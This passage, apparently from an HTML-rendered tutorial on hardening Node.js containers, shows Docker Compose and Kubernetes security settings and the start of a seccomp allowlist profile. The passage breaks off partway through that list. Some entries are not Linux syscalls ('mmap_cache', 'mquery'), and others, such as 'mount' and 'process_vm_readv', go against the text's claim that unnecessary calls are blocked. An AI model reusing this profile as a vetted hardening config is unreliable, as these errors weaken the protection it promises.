&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;build&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;read_only&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;true&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;tmpfs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;/tmp&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;/app/data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cap_drop&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;ALL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Kubernetes Pod Security Configuration:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;spec&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;securityContext&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;runAsNonRoot&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;true&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;runAsUser&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;1000&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;runAsGroup&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;1000&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;fsGroup&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;1000&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;readOnlyRootFilesystem&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;When we make the root directory read-only, we mount directories like &lt;code&gt;/tmp&lt;/code&gt; (which Node.js must write to at runtime) using &lt;code&gt;tmpfs&lt;/code&gt;, a memory-backed temporary filesystem. This way, all temporary files are wiped the moment the container stops.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="step-4-apply-a-seccomp-profile"&gt;🔒 Step 4: Apply a Seccomp Profile&lt;a class="headerlink" href="#step-4-apply-a-seccomp-profile" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Seccomp (Secure Computing Mode)&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt; filters the system calls (syscalls) a process can make to the OS kernel. By default, Docker blocks about 50 dangerous system calls. However, we can narrow this down even further based on Node.js's needs.&lt;/p&gt;
&lt;p&gt;The following &lt;code&gt;node-seccomp.json&lt;/code&gt; profile blocks all unnecessary calls (such as reboot, swapon, etc.) without disrupting the normal operation of Node.js:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"defaultAction"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SCMP_ACT_ERRNO"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"architectures"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"SCMP_ARCH_X86_64"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SCMP_ARCH_AARCH64"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"syscalls"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"names"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"accept"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"accept4"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"access"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arch_prctl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"bind"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"brk"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"capget"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"capset"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"chdir"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"chmod"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"chown"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"clock_getres"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"clock_gettime"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"clock_nanosleep"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"clone"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"clone3"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"close"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"connect"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"copy_file_range"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"creat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dup"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dup2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dup3"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"epoll_create1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"epoll_ctl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"epoll_pwait"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"eventfd2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"execve"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"exit"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"exit_group"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"faccessat2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fadvise64"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"fallocate"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fchdir"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fchmod"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fchmodat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fchown"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"fchownat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fcntl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fdatasync"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fgetxattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"flistxattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"flock"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fork"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fremovexattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"fsetxattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fstat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fstatfs"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fsync"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ftruncate"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"futex"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getcwd"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getdents64"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getegid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"geteuid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"getgid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getpeername"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getpgid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getpgrp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"getpid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getppid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getpriority"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getrandom"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"getresgid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getresuid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getrlimit"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getrusage"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"getsockname"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getsockopt"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"gettid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"gettimeofday"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"getuid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getxattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"inotify_add_watch"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"inotify_init1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"inotify_rm_watch"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ioctl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"ioprio_get"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ioprio_set"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"kcmp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"kill"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"lgetxattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"link"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"linkat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"listen"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"listxattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"llistxattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"lremovexattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"lseek"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"lsetxattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"lstat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"madvise"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mbind"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"memfd_create"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"membarrier"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mincore"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mkdir"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mkdirat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"mlock"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mlock2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mmap"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mmap_cache"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mount"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"move_mount"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mprotect"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mquery"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mremap"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"msgctl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"msgget"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"msgrcv"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"msgsnd"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"msync"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"munlock"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"munmap"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"name_to_handle_at"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"nanosleep"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"newfstatat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"open"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"openat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"openat2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pause"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pidfd_getfd"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pidfd_open"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"pidfd_send_signal"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pipe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pipe2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"poll"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"ppoll"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"prctl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pread64"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"preadv"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"preadv2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"prlimit64"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"process_vm_readv"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pselect6"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"pwrite64"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pwritev"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pwritev2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"read"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"readlink"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"readlinkat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"readv"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"recvfrom"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"recvmmsg"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"recvmsg"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"rename"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"renameat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"renameat2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"restart_syscall"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"rmdir"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"rseq"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
